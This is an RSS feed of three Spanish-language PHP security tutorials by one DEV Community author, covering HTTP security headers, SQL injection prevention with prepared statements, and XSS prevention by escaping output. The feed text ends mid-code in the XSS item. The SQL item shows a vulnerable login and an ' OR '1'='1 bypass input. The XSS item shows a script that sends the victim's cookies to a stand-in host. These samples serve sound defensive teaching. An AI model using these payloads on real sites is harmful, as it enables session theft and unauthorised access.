<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Marius Podar</title>
    <description>The latest articles on DEV Community by Marius Podar (@marius_podar).</description>
    <link>https://dev.to/marius_podar</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4210083%2Fa84ab676-dccb-407f-92ca-b56aa2392831.jpg</url>
      <title>DEV Community: Marius Podar</title>
      <link>https://dev.to/marius_podar</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/marius_podar"/>
    <language>en</language>
    <item>
      <title>Cabeceras de seguridad HTTP en PHP: CSP, HSTS y más (guía rápida)</title>
      <dc:creator>Marius Podar</dc:creator>
      <pubDate>Tue, 17 Nov 2026 08:00:00 +0000</pubDate>
      <link>https://dev.to/marius_podar/cabeceras-de-seguridad-http-en-php-csp-hsts-y-mas-guia-rapida-59ih</link>
      <guid>https://dev.to/marius_podar/cabeceras-de-seguridad-http-en-php-csp-hsts-y-mas-guia-rapida-59ih</guid>
      <description>&lt;p&gt;Validar entradas y usar consultas preparadas no basta: hay una capa que muchas veces se pasa por alto, las cabeceras de seguridad HTTP. Son instrucciones que tu servidor envía al navegador en cada respuesta para indicarle cómo comportarse: qué recursos puede cargar, si puede mostrarse dentro de un iframe ajeno o si debe forzar HTTPS. No evitan que existan vulnerabilidades, pero reducen mucho el daño que pueden causar si algo falla.&lt;/p&gt;

&lt;h2&gt;
  
  
  Por qué importan
&lt;/h2&gt;

&lt;p&gt;Cuando abres una web, el navegador recibe el HTML y también una serie de cabeceras HTTP. La mayoría de desarrolladores nunca las toca, así que PHP y el servidor usan sus valores por defecto, que no siempre son los más seguros.&lt;/p&gt;

&lt;p&gt;Un ejemplo claro es el &lt;em&gt;clickjacking&lt;/em&gt;: sin protección, un atacante puede cargar tu web dentro de un iframe invisible, superpuesta a botones falsos, para que el usuario haga clic sin saber que está interactuando con tu sitio. Una sola cabecera lo evita. En el &lt;a href="https://todoseaprende.com/2026/09/04/cabeceras-de-seguridad-http-en-php/" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; explico cada una con más detalle.&lt;/p&gt;

&lt;h2&gt;
  
  
  Las cabeceras que de verdad importan
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Content-Security-Policy (CSP)&lt;/strong&gt; es la más potente y la más difícil de configurar bien. Indica desde qué orígenes puede cargar el navegador scripts, estilos o imágenes. Si un atacante inyecta un script mediante XSS pero la política no lo permite, el navegador lo bloquea. Empieza siempre con &lt;code&gt;Content-Security-Policy-Report-Only&lt;/code&gt; para ver qué bloquearía antes de aplicarla de verdad.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Security-Policy: default-src 'self'; script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si cargas scripts de terceros (analítica, chats), tendrás que añadir sus orígenes a la lista.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strict-Transport-Security (HSTS)&lt;/strong&gt; obliga al navegador a usar siempre HTTPS con tu dominio, incluso si alguien teclea &lt;code&gt;http://&lt;/code&gt; a mano o sigue un enlace antiguo. Así evita ataques de intermediario que aprovechan esa primera conexión insegura. El valor &lt;code&gt;31536000&lt;/code&gt; son los segundos de un año: mientras la cabecera esté activa, el navegador recordará no usar HTTP con tu dominio, así que actívala solo cuando estés seguro de que todo el sitio funciona por HTTPS.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Strict-Transport-Security: max-age=31536000; includeSubDomains"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Otras cuatro cabeceras sencillas completan el conjunto:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;X-Content-Type-Options&lt;/strong&gt; evita que el navegador adivine un tipo de archivo distinto al que declaras.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;X-Frame-Options&lt;/strong&gt; controla si tu web puede mostrarse en un iframe. &lt;code&gt;SAMEORIGIN&lt;/code&gt; solo lo permite desde tu propio dominio; si no necesitas iframes, usa &lt;code&gt;DENY&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Referrer-Policy&lt;/strong&gt; limita cuánta información de la página de origen se envía al hacer clic en un enlace externo.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Permissions-Policy&lt;/strong&gt; desactiva funciones del navegador que tu web no necesita, como cámara, micrófono o geolocalización.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"X-Content-Type-Options: nosniff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"X-Frame-Options: SAMEORIGIN"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Referrer-Policy: strict-origin-when-cross-origin"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=()"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Todo junto
&lt;/h2&gt;

&lt;p&gt;Puedes enviarlas desde un único punto de entrada de tu aplicación. En WordPress, engánchate al hook &lt;code&gt;send_headers&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nf"&gt;add_action&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'send_headers'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Content-Security-Policy: default-src 'self'; script-src 'self'"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Strict-Transport-Security: max-age=31536000; includeSubDomains"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"X-Content-Type-Options: nosniff"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"X-Frame-Options: SAMEORIGIN"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Referrer-Policy: strict-origin-when-cross-origin"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="nb"&gt;header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Permissions-Policy: geolocation=(), camera=(), microphone=(), payment=()"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si prefieres no tocar PHP, puedes añadir cabeceras equivalentes en el &lt;code&gt;.htaccess&lt;/code&gt; de Apache, siempre que el módulo &lt;code&gt;mod_headers&lt;/code&gt; esté activo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight apache"&gt;&lt;code&gt;&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="sr"&gt; mod_headers.c&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Content-Type-Options "nosniff"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; X-Frame-Options "SAMEORIGIN"
    &lt;span class="nc"&gt;Header&lt;/span&gt; &lt;span class="ss"&gt;always&lt;/span&gt; &lt;span class="ss"&gt;set&lt;/span&gt; Referrer-Policy "strict-origin-when-cross-origin"
&lt;span class="p"&gt;&amp;lt;/&lt;/span&gt;&lt;span class="nl"&gt;IfModule&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Cómo comprobarlas y buenas prácticas
&lt;/h2&gt;

&lt;p&gt;No hace falta revisarlas a ojo: el OWASP Secure Headers Project documenta las cabeceras recomendadas y sus valores, y existen escáneres online que analizan tu sitio y te dicen qué te falta o qué está mal configurado.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Empieza la CSP en modo Report-Only antes de aplicarla.&lt;/li&gt;
&lt;li&gt;No actives HSTS hasta confirmar que todo funciona en HTTPS sin excepciones.&lt;/li&gt;
&lt;li&gt;Revisa las cabeceras cada vez que añadas un script de terceros nuevo, porque puede obligarte a ajustar la CSP.&lt;/li&gt;
&lt;li&gt;Recuerda que son una capa más: no sustituyen validar entradas ni usar consultas preparadas.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Si quieres el ejemplo completo y la explicación detallada, está en el &lt;a href="https://todoseaprende.com/2026/09/04/cabeceras-de-seguridad-http-en-php/" rel="noopener noreferrer"&gt;artículo original en Todo se Aprende&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>SQL Injection en PHP: cómo prevenirlo con consultas preparadas (guía rápida)</title>
      <dc:creator>Marius Podar</dc:creator>
      <pubDate>Tue, 10 Nov 2026 08:00:00 +0000</pubDate>
      <link>https://dev.to/marius_podar/sql-injection-en-php-como-prevenirlo-con-consultas-preparadas-guia-rapida-299k</link>
      <guid>https://dev.to/marius_podar/sql-injection-en-php-como-prevenirlo-con-consultas-preparadas-guia-rapida-299k</guid>
      <description>&lt;p&gt;La inyección SQL (&lt;em&gt;SQL Injection&lt;/em&gt;) es una de las amenazas más comunes y peligrosas para una aplicación web: el atacante manipula las consultas SQL que ejecuta tu código para leer, modificar o borrar información que no le corresponde. Puede comprometer la integridad de los datos, exponer información sensible y dañar la reputación de tu sitio. En PHP se evita con pocas costumbres, y la principal es no concatenar nunca datos del usuario dentro de una consulta.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo funciona el ataque
&lt;/h2&gt;

&lt;p&gt;Cuando los datos del usuario se insertan directamente en una consulta SQL, el atacante puede alterar su lógica. Este login es vulnerable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'user'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="nv"&gt;$password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;'pass'&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="c1"&gt;// Consulta vulnerable&lt;/span&gt;
&lt;span class="nv"&gt;$sql&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"SELECT * FROM seg_usuario WHERE username = '&lt;/span&gt;&lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="s2"&gt;' AND password = '&lt;/span&gt;&lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="s2"&gt;'"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;query&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$sql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si el atacante envía &lt;code&gt;admin&lt;/code&gt; como usuario y &lt;code&gt;' OR '1'='1&lt;/code&gt; como contraseña, la consulta resultante es:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;seg_usuario&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'admin'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La condición &lt;code&gt;'1'='1'&lt;/code&gt; siempre es verdadera, así que se concede el acceso sin credenciales válidas. En el &lt;a href="https://todoseaprende.com/2026/02/09/sql-injection-y-como-prevenirlo-en-php/" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; hay además otro ejemplo con un formulario de búsqueda, donde la causa es la misma: datos del usuario pegados directamente en el SQL.&lt;/p&gt;

&lt;h2&gt;
  
  
  La defensa: consultas preparadas
&lt;/h2&gt;

&lt;p&gt;La mejor forma de prevenirlo es separar siempre la consulta de los datos. Con consultas preparadas, el motor recibe primero la estructura de la consulta y después los valores, que nunca se interpretan como SQL. Con MySQLi:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM seg_usuario WHERE username = ? AND password = ?"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;bind_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"ss"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nv"&gt;$result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_result&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y con PDO, usando parámetros con nombre:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nv"&gt;$stmt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$pdo&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;prepare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"SELECT * FROM seg_usuario WHERE username = :username AND password = :password"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nv"&gt;$stmt&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="s1"&gt;'username'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'password'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nv"&gt;$password&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dos aclaraciones. Los parámetros sustituyen valores, no nombres de tablas ni de columnas: si alguno de esos tiene que ser dinámico, valídalo contra una lista de valores permitidos. Y en un login real las contraseñas no se guardan en claro, se usan &lt;code&gt;password_hash()&lt;/code&gt; y &lt;code&gt;password_verify()&lt;/code&gt;; aquí se mantiene la comparación directa solo para que el ejemplo sea corto.&lt;/p&gt;

&lt;h2&gt;
  
  
  Capas adicionales
&lt;/h2&gt;

&lt;p&gt;Las consultas preparadas son la defensa principal, pero conviene combinarlas con otras medidas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Validar la entrada&lt;/strong&gt;: comprueba que el dato tiene el formato esperado. Es un complemento, no un sustituto de las consultas preparadas.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="nb"&gt;preg_match&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'/^[a-zA-Z0-9_]{3,20}$/'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$username&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;die&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"Nombre de usuario inválido"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;No mostrar errores SQL al usuario&lt;/strong&gt;: los mensajes de error pueden revelar la estructura de tu base de datos. Registra el detalle en el log y muestra un mensaje genérico:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nb"&gt;error_log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$conn&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Ha ocurrido un error. Inténtalo de nuevo."&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Dar permisos mínimos a la cuenta de la aplicación&lt;/strong&gt;: no todos los usuarios de la base de datos necesitan acceso total. Una cuenta que solo puede hacer SELECT e INSERT limita el daño si algo falla.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Mantener todo actualizado&lt;/strong&gt;: PHP, el servidor web y el gestor de base de datos, para corregir vulnerabilidades conocidas.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Conclusión
&lt;/h2&gt;

&lt;p&gt;Para prevenir la inyección SQL en PHP, usa consultas preparadas siempre, valida la entrada como apoyo, no muestres errores internos y limita los permisos de la base de datos.&lt;/p&gt;

&lt;p&gt;Si quieres el ejemplo completo y la explicación detallada, está en el &lt;a href="https://todoseaprende.com/2026/02/09/sql-injection-y-como-prevenirlo-en-php/" rel="noopener noreferrer"&gt;artículo original en Todo se Aprende&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>php</category>
      <category>security</category>
      <category>webdev</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>XSS en PHP: cómo evitarlo escapando la salida (guía rápida)</title>
      <dc:creator>Marius Podar</dc:creator>
      <pubDate>Tue, 03 Nov 2026 08:00:00 +0000</pubDate>
      <link>https://dev.to/marius_podar/xss-en-php-como-evitarlo-escapando-la-salida-guia-rapida-450h</link>
      <guid>https://dev.to/marius_podar/xss-en-php-como-evitarlo-escapando-la-salida-guia-rapida-450h</guid>
      <description>&lt;p&gt;El XSS (&lt;em&gt;Cross-Site Scripting&lt;/em&gt;) es uno de los problemas de seguridad más comunes en aplicaciones web: alguien consigue colar código JavaScript en tu página y ese código se ejecuta en el navegador de tus usuarios. Importa porque permite robar cookies de sesión o actuar en nombre de la víctima, pero evitarlo es sencillo si sabes dónde mirar.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo funciona el ataque
&lt;/h2&gt;

&lt;p&gt;Imagina un formulario de comentarios: el usuario escribe su nombre, tú lo guardas en la base de datos y luego lo muestras en la página. Ahora imagina que alguien escribe esto como nombre:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;location&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://malo.com/robar?cookie=&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;cookie&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Si lo imprimes sin más, ese script se ejecuta en el navegador de cualquiera que visite la página y las cookies de sesión acaban en manos de un desconocido.&lt;/p&gt;

&lt;p&gt;Hay dos variantes que te vas a encontrar. En el &lt;em&gt;stored XSS&lt;/em&gt; el código malicioso se guarda en la base de datos y se ejecuta cada vez que alguien carga la página; es el más peligroso porque afecta a todos los visitantes sin que hagan nada. En el &lt;em&gt;reflected XSS&lt;/em&gt; el código no se guarda: viaja en la URL y solo se ejecuta cuando alguien pulsa un enlace preparado para ello, algo muy usado en phishing dirigido.&lt;/p&gt;

&lt;h2&gt;
  
  
  El problema está en la salida
&lt;/h2&gt;

&lt;p&gt;Mucha gente piensa en sanear los datos cuando entran, y eso tiene sentido para otros problemas como la inyección SQL. Con XSS el problema está en la salida: en el momento en que imprimes algo dentro del HTML. Da igual que el dato venga de un formulario, de la base de datos o de la URL; si lo imprimes sin escapar, eres vulnerable. Hay más contexto sobre este cambio de enfoque en el &lt;a href="https://todoseaprende.com/2026/05/21/como-evitar-ataques-xss-en-php/" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  La defensa: escapar con htmlspecialchars()
&lt;/h2&gt;

&lt;p&gt;La función que necesitas es &lt;code&gt;htmlspecialchars()&lt;/code&gt;. Convierte los caracteres especiales en entidades HTML, de modo que el navegador los muestra como texto en lugar de interpretarlos como código:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Vulnerable&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$nombre&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Correcto&lt;/span&gt;
&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ENT_QUOTES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;ENT_QUOTES&lt;/code&gt; convierte tanto las comillas dobles como las simples, que es lo que quieres casi siempre, y el tercer parámetro fija la codificación: usa siempre UTF-8.&lt;/p&gt;

&lt;p&gt;El contexto importa. Dentro de un atributo HTML se escapa igual, y los datos que pases a JavaScript deben ir con &lt;code&gt;json_encode()&lt;/code&gt;, nunca pegados directamente en un bloque &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;?=&lt;/span&gt; &lt;span class="nb"&gt;htmlspecialchars&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$valor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;ENT_QUOTES&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'UTF-8'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;nombre&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="cp"&gt;&amp;lt;?=&lt;/span&gt; &lt;span class="nb"&gt;json_encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nombre&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="no"&gt;JSON_HEX_TAG&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="no"&gt;JSON_HEX_AMP&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="no"&gt;JSON_HEX_APOS&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="no"&gt;JSON_HEX_QUOT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="cp"&gt;?&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
